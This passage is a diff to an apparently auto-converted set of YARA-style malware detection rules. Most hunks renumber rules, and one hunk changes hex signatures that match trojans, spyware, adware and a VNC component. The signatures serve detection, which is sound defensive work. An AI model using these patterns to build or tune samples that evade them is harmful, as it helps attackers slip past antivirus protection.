21 " @@ -358446,7 +381102,7 @@ rule _InfrastructureShared_27491{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25200+(#a_01_2 & 1)*21620+(#a_01_4 & 1)*22284) >=5 } -rule _InfrastructureShared_27492{ +rule _InfrastructureShared_29229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -358459,7 +381115,7 @@ rule _InfrastructureShared_27492{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*21005+(#a_01_4 & 1)*22551+(#a_01_5 & 1)*19529) >=6 } -rule _InfrastructureShared_27493{ +rule _InfrastructureShared_29230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -358473,7 +381129,7 @@ rule _InfrastructureShared_27493{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26994+(#a_01_3 & 1)*17930+(#a_01_4 & 1)*-512+(#a_01_5 & 1)*18184) >=6 } -rule _InfrastructureShared_27494{ +rule _InfrastructureShared_29231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -358488,7 +381144,7 @@ rule _InfrastructureShared_27494{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29298+(#a_01_3 & 1)*18184+(#a_01_4 & 1)*29797+(#a_01_6 & 1)*2+(#a_01_7 & 1)*11008) >=8 } -rule _InfrastructureShared_27495{ +rule _InfrastructureShared_29232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -358502,7 +381158,7 @@ rule _InfrastructureShared_27495{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_5 & 1)*1) >=15 } -rule _InfrastructureShared_27496{ +rule _InfrastructureShared_29233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 0e 00 21 " @@ -358525,7 +381181,7 @@ rule _InfrastructureShared_27496{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*634+(#a_01_2 & 1)*25646+(#a_01_3 & 1)*11620+(#a_01_4 & 1)*20552+(#a_01_5 & 1)*24933+(#a_01_6 & 1)*29797+(#a_01_7 & 1)*23328+(#a_01_8 & 1)*13936+(#a_01_9 & 1)*28789+(#a_01_10 & 1)*30068+(#a_01_11 & 1)*73+(#a_01_12 & 1)*30485+(#a_01_13 & 1)*16954) >=1 } -rule _InfrastructureShared_27497{ +rule _InfrastructureShared_29234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358536,7 +381192,7 @@ rule _InfrastructureShared_27497{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11264) >=2 } -rule _InfrastructureShared_27498{ +rule _InfrastructureShared_29235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358547,7 +381203,7 @@ rule _InfrastructureShared_27498{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*11264) >=2 } -rule _InfrastructureShared_27499{ +rule _InfrastructureShared_29236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358558,7 +381214,7 @@ rule _InfrastructureShared_27499{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*30565) >=2 } -rule _InfrastructureShared_27500{ +rule _InfrastructureShared_29237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358570,7 +381226,7 @@ rule _InfrastructureShared_27500{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*25632+(#a_01_2 & 1)*25939) >=3 } -rule _InfrastructureShared_27501{ +rule _InfrastructureShared_29238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358582,7 +381238,7 @@ rule _InfrastructureShared_27501{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8233+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_27502{ +rule _InfrastructureShared_29239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358594,7 +381250,7 @@ rule _InfrastructureShared_27502{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*90+(#a_01_2 & 1)*14913) >=3 } -rule _InfrastructureShared_27503{ +rule _InfrastructureShared_29240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358606,7 +381262,7 @@ rule _InfrastructureShared_27503{ ((#a_01_0 & 1)*21840+(#a_01_1 & 1)*17464+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_27504{ +rule _InfrastructureShared_29241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -358619,7 +381275,7 @@ rule _InfrastructureShared_27504{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25956+(#a_01_2 & 1)*118+(#a_01_3 & 1)*25968) >=3 } -rule _InfrastructureShared_27505{ +rule _InfrastructureShared_29242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -358631,7 +381287,7 @@ rule _InfrastructureShared_27505{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*82+(#a_01_3 & 1)*20238) >=4 } -rule _InfrastructureShared_27506{ +rule _InfrastructureShared_29243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -358645,7 +381301,7 @@ rule _InfrastructureShared_27506{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29460+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_27507{ +rule _InfrastructureShared_29244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -358658,7 +381314,7 @@ rule _InfrastructureShared_27507{ ((#a_01_0 & 1)*25635+(#a_01_2 & 1)*37+(#a_01_3 & 1)*2443+(#a_01_4 & 1)*26414) >=4 } -rule _InfrastructureShared_27508{ +rule _InfrastructureShared_29245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -358673,7 +381329,7 @@ rule _InfrastructureShared_27508{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*1792+(#a_01_3 & 1)*111+(#a_01_4 & 1)*28515+(#a_01_6 & 1)*1+(#a_01_7 & 1)*0) >=8 } -rule _InfrastructureShared_27509{ +rule _InfrastructureShared_29246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 03 00 21 " @@ -358684,7 +381340,7 @@ rule _InfrastructureShared_27509{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*76) >=20 } -rule _InfrastructureShared_27510{ +rule _InfrastructureShared_29247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 04 00 21 " @@ -358696,7 +381352,7 @@ rule _InfrastructureShared_27510{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*29537+(#a_01_2 & 1)*3871) >=100 } -rule _InfrastructureShared_27511{ +rule _InfrastructureShared_29248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358706,7 +381362,7 @@ rule _InfrastructureShared_27511{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27512{ +rule _InfrastructureShared_29249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358716,7 +381372,7 @@ rule _InfrastructureShared_27512{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27513{ +rule _InfrastructureShared_29250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358726,7 +381382,7 @@ rule _InfrastructureShared_27513{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27514{ +rule _InfrastructureShared_29251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358737,7 +381393,7 @@ rule _InfrastructureShared_27514{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3845) >=2 } -rule _InfrastructureShared_27515{ +rule _InfrastructureShared_29252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358748,7 +381404,7 @@ rule _InfrastructureShared_27515{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*110) >=2 } -rule _InfrastructureShared_27516{ +rule _InfrastructureShared_29253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358760,7 +381416,7 @@ rule _InfrastructureShared_27516{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26478+(#a_01_2 & 1)*29806) >=3 } -rule _InfrastructureShared_27517{ +rule _InfrastructureShared_29254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 07 00 21 " @@ -358775,7 +381431,7 @@ rule _InfrastructureShared_27517{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21004+(#a_01_2 & 1)*17710+(#a_01_4 & 1)*82+(#a_01_5 & 1)*17198+(#a_01_6 & 1)*1) >=16 } -rule _InfrastructureShared_27518{ +rule _InfrastructureShared_29255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -358786,7 +381442,7 @@ rule _InfrastructureShared_27518{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*119) >=30 } -rule _InfrastructureShared_27519{ +rule _InfrastructureShared_29256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -358799,7 +381455,7 @@ rule _InfrastructureShared_27519{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*30575+(#a_01_2 & 1)*20512+(#a_01_3 & 1)*21325) >=30 } -rule _InfrastructureShared_27520{ +rule _InfrastructureShared_29257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,29 00 29 00 09 00 21 " @@ -358814,7 +381470,7 @@ rule _InfrastructureShared_27520{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1024+(#a_01_2 & 1)*23913+(#a_01_3 & 1)*12087+(#a_01_7 & 1)*2+(#a_01_8 & 1)*21587) >=41 } -rule _InfrastructureShared_27521{ +rule _InfrastructureShared_29258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358824,7 +381480,7 @@ rule _InfrastructureShared_27521{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27522{ +rule _InfrastructureShared_29259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -358835,7 +381491,7 @@ rule _InfrastructureShared_27522{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*-1) >=1 } -rule _InfrastructureShared_27523{ +rule _InfrastructureShared_29260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358845,7 +381501,7 @@ rule _InfrastructureShared_27523{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_27524{ +rule _InfrastructureShared_29261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -358858,7 +381514,7 @@ rule _InfrastructureShared_27524{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30063+(#a_01_2 & 1)*12146+(#a_01_3 & 1)*29295) >=2 } -rule _InfrastructureShared_27525{ +rule _InfrastructureShared_29262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358870,7 +381526,7 @@ rule _InfrastructureShared_27525{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*19795+(#a_01_2 & 1)*29505) >=3 } -rule _InfrastructureShared_27526{ +rule _InfrastructureShared_29263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -358882,7 +381538,7 @@ rule _InfrastructureShared_27526{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*2560+(#a_01_2 & 1)*28265) >=4 } -rule _InfrastructureShared_27527{ +rule _InfrastructureShared_29264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -358895,7 +381551,7 @@ rule _InfrastructureShared_27527{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*99+(#a_01_2 & 1)*2816+(#a_01_3 & 1)*27247) >=4 } -rule _InfrastructureShared_27528{ +rule _InfrastructureShared_29265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 21 " @@ -358912,7 +381568,7 @@ rule _InfrastructureShared_27528{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30577+(#a_01_2 & 1)*-29181+(#a_01_3 & 1)*121+(#a_01_4 & 1)*18467+(#a_01_5 & 1)*27241+(#a_01_6 & 1)*28524+(#a_01_7 & 1)*29811) >=7 } -rule _InfrastructureShared_27529{ +rule _InfrastructureShared_29266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 21 " @@ -358923,7 +381579,7 @@ rule _InfrastructureShared_27529{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*23808) >=12 } -rule _InfrastructureShared_27530{ +rule _InfrastructureShared_29267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 05 00 21 " @@ -358936,7 +381592,7 @@ rule _InfrastructureShared_27530{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*83+(#a_01_3 & 1)*1622+(#a_01_4 & 1)*1800) >=20 } -rule _InfrastructureShared_27531{ +rule _InfrastructureShared_29268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358946,7 +381602,7 @@ rule _InfrastructureShared_27531{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27532{ +rule _InfrastructureShared_29269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -358956,7 +381612,7 @@ rule _InfrastructureShared_27532{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27533{ +rule _InfrastructureShared_29270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358967,7 +381623,7 @@ rule _InfrastructureShared_27533{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*102) >=2 } -rule _InfrastructureShared_27534{ +rule _InfrastructureShared_29271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 05 00 21 " @@ -358975,13 +381631,24 @@ rule _InfrastructureShared_27534{ $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 72 64 6f 6e 2e 42 21 64 68 61 00 01 00 0a 65 6e 75 6d 63 61 70 64 65 76 01 00 07 74 65 6c 68 65 6c 70 01 00 1c 43 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 74 65 73 74 2e 6c 6f 67 } //18467 $a_01_1 = {57 69 6e 56 6e 63 } //1 WinVnc $a_01_2 = {49 45 53 4f 43 4b 45 54 5f 41 43 54 49 4f 4e 5f 43 4f 4e 4e 45 43 54 20 66 61 69 6c 65 64 } //1 IESOCKET_ACTION_CONNECT failed - $a_01_3 = {89 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 43 6c 6f 76 65 72 50 6c 75 73 00 02 00 17 25 57 49 4e 44 4f 57 53 5c 43 6c 6f 76 65 72 50 6c 75 73 2e 63 6f 74 01 00 10 6d 69 6e 69 73 65 61 72 63 68 2e 63 6f 2e 6b 72 01 00 15 2e 70 68 70 3f 63 6c 69 65 6e 74 3d 25 43 } //0 - $a_01_4 = {4e 54 49 44 01 00 0b 63 6c 6f 76 65 72 5f 6c 6f 76 65 01 00 11 25 25 57 49 4e 44 4f 57 53 5c 64 68 69 64 2e 64 68 00 00 61 89 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e } //18764 + $a_01_3 = {89 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 41 48 42 21 4d 54 42 00 02 00 31 20 3a 04 00 00 16 02 28 01 00 00 06 0a 06 7e 05 00 00 0a 28 06 00 00 0a 2c 02 16 2a 06 7e 05 00 00 0a 03 8e 69 20 00 30 00 00 1f 40 28 03 00 00 06 03 } //0 + $a_01_4 = {07 00 00 06 13 04 11 04 7e 05 00 00 0a 28 06 00 00 0a 2c 09 06 28 02 00 00 06 26 16 2a 06 28 02 00 00 06 26 17 2a 00 00 } //9984 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*18764) >=4 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*9984) >=4 } -rule _InfrastructureShared_27535{ +rule _InfrastructureShared_29272{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 02 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 41 48 42 21 4d 54 42 00 02 00 31 20 3a 04 00 00 16 02 28 01 00 00 06 0a 06 7e 05 00 00 0a 28 06 00 00 0a 2c 02 16 2a 06 7e 05 00 00 0a 03 } //21539 + $a_01_1 = {00 30 00 00 1f 40 28 03 00 00 06 03 00 27 28 07 00 00 06 13 04 11 04 7e 05 00 00 0a 28 06 00 00 } //27022 + condition: + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*27022) >=5 + +} +rule _InfrastructureShared_29273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -358993,7 +381660,7 @@ rule _InfrastructureShared_27535{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27743+(#a_01_2 & 1)*25964) >=5 } -rule _InfrastructureShared_27536{ +rule _InfrastructureShared_29274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -359006,7 +381673,7 @@ rule _InfrastructureShared_27536{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28493+(#a_01_2 & 1)*13367+(#a_01_3 & 1)*12600) >=5 } -rule _InfrastructureShared_27537{ +rule _InfrastructureShared_29275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 07 00 21 " @@ -359022,7 +381689,7 @@ rule _InfrastructureShared_27537{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_01_2 & 1)*26967+(#a_01_3 & 1)*0+(#a_01_4 & 1)*27745+(#a_01_5 & 1)*25185+(#a_01_6 & 1)*5634) >=16 } -rule _InfrastructureShared_27538{ +rule _InfrastructureShared_29276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 07 00 21 " @@ -359036,7 +381703,7 @@ rule _InfrastructureShared_27538{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28527+(#a_01_2 & 1)*28245+(#a_01_4 & 1)*19760+(#a_01_6 & 1)*2) >=21 } -rule _InfrastructureShared_27539{ +rule _InfrastructureShared_29277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,6f 00 6f 00 05 00 21 " @@ -359049,7 +381716,7 @@ rule _InfrastructureShared_27539{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*13154+(#a_01_2 & 1)*29811+(#a_01_4 & 1)*2) >=111 } -rule _InfrastructureShared_27540{ +rule _InfrastructureShared_29278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -359060,7 +381727,7 @@ rule _InfrastructureShared_27540{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*28448) >=1 } -rule _InfrastructureShared_27541{ +rule _InfrastructureShared_29279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -359070,7 +381737,7 @@ rule _InfrastructureShared_27541{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27542{ +rule _InfrastructureShared_29280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -359080,7 +381747,7 @@ rule _InfrastructureShared_27542{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_27543{ +rule _InfrastructureShared_29281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359092,7 +381759,7 @@ rule _InfrastructureShared_27543{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29806+(#a_01_2 & 1)*27680) >=4 } -rule _InfrastructureShared_27544{ +rule _InfrastructureShared_29282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -359105,7 +381772,7 @@ rule _InfrastructureShared_27544{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29811+(#a_01_3 & 1)*20235+(#a_01_4 & 1)*21562) >=4 } -rule _InfrastructureShared_27545{ +rule _InfrastructureShared_29283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -359118,7 +381785,7 @@ rule _InfrastructureShared_27545{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24909+(#a_01_2 & 1)*-6013+(#a_01_3 & 1)*25939) >=5 } -rule _InfrastructureShared_27546{ +rule _InfrastructureShared_29284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -359132,7 +381799,7 @@ rule _InfrastructureShared_27546{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-1664+(#a_01_2 & 1)*8+(#a_01_3 & 1)*25697+(#a_01_4 & 1)*27491) >=5 } -rule _InfrastructureShared_27547{ +rule _InfrastructureShared_29285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 21 " @@ -359148,7 +381815,7 @@ rule _InfrastructureShared_27547{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0+(#a_01_6 & 1)*10276+(#a_01_7 & 1)*4233) >=7 } -rule _InfrastructureShared_27548{ +rule _InfrastructureShared_29286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -359159,7 +381826,7 @@ rule _InfrastructureShared_27548{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*19849) >=20 } -rule _InfrastructureShared_27549{ +rule _InfrastructureShared_29287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 05 00 21 " @@ -359172,7 +381839,7 @@ rule _InfrastructureShared_27549{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*101+(#a_01_3 & 1)*26967+(#a_01_4 & 1)*12334) >=20 } -rule _InfrastructureShared_27550{ +rule _InfrastructureShared_29288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -359185,7 +381852,7 @@ rule _InfrastructureShared_27550{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*11879+(#a_01_2 & 1)*20550+(#a_01_3 & 1)*111) >=30 } -rule _InfrastructureShared_27551{ +rule _InfrastructureShared_29289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359196,7 +381863,7 @@ rule _InfrastructureShared_27551{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*104) >=3 } -rule _InfrastructureShared_27552{ +rule _InfrastructureShared_29290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359208,7 +381875,7 @@ rule _InfrastructureShared_27552{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*19657+(#a_01_2 & 1)*27713) >=3 } -rule _InfrastructureShared_27553{ +rule _InfrastructureShared_29291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -359223,7 +381890,7 @@ rule _InfrastructureShared_27553{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27503+(#a_01_2 & 1)*29806+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_27554{ +rule _InfrastructureShared_29292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -359236,7 +381903,7 @@ rule _InfrastructureShared_27554{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*25606+(#a_01_3 & 1)*3584+(#a_01_8 & 1)*8993) >=9 } -rule _InfrastructureShared_27555{ +rule _InfrastructureShared_29293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 05 00 21 " @@ -359249,7 +381916,7 @@ rule _InfrastructureShared_27555{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*26465+(#a_01_3 & 1)*111+(#a_01_4 & 1)*13166) >=12 } -rule _InfrastructureShared_27556{ +rule _InfrastructureShared_29294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359259,7 +381926,7 @@ rule _InfrastructureShared_27556{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27557{ +rule _InfrastructureShared_29295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -359269,7 +381936,7 @@ rule _InfrastructureShared_27557{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27558{ +rule _InfrastructureShared_29296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -359279,7 +381946,7 @@ rule _InfrastructureShared_27558{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27559{ +rule _InfrastructureShared_29297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -359289,7 +381956,7 @@ rule _InfrastructureShared_27559{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27560{ +rule _InfrastructureShared_29298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 05 00 21 " @@ -359302,7 +381969,7 @@ rule _InfrastructureShared_27560{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*18803+(#a_01_2 & 1)*23667+(#a_01_3 & 1)*21320) >=2 } -rule _InfrastructureShared_27561{ +rule _InfrastructureShared_29299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -359312,7 +381979,7 @@ rule _InfrastructureShared_27561{ ((#a_01_0 & 1)*16675) >=3 } -rule _InfrastructureShared_27562{ +rule _InfrastructureShared_29300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359325,7 +381992,7 @@ rule _InfrastructureShared_27562{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25698+(#a_01_2 & 1)*0+(#a_01_3 & 1)*25958) >=4 } -rule _InfrastructureShared_27563{ +rule _InfrastructureShared_29301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -359338,7 +382005,7 @@ rule _InfrastructureShared_27563{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26232+(#a_01_2 & 1)*27503+(#a_01_3 & 1)*4864) >=4 } -rule _InfrastructureShared_27564{ +rule _InfrastructureShared_29302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -359353,7 +382020,7 @@ rule _InfrastructureShared_27564{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*15917+(#a_01_2 & 1)*21829+(#a_01_3 & 1)*29811+(#a_01_4 & 1)*14930+(#a_01_5 & 1)*31073) >=4 } -rule _InfrastructureShared_27565{ +rule _InfrastructureShared_29303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -359366,7 +382033,7 @@ rule _InfrastructureShared_27565{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*28261) >=5 } -rule _InfrastructureShared_27566{ +rule _InfrastructureShared_29304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 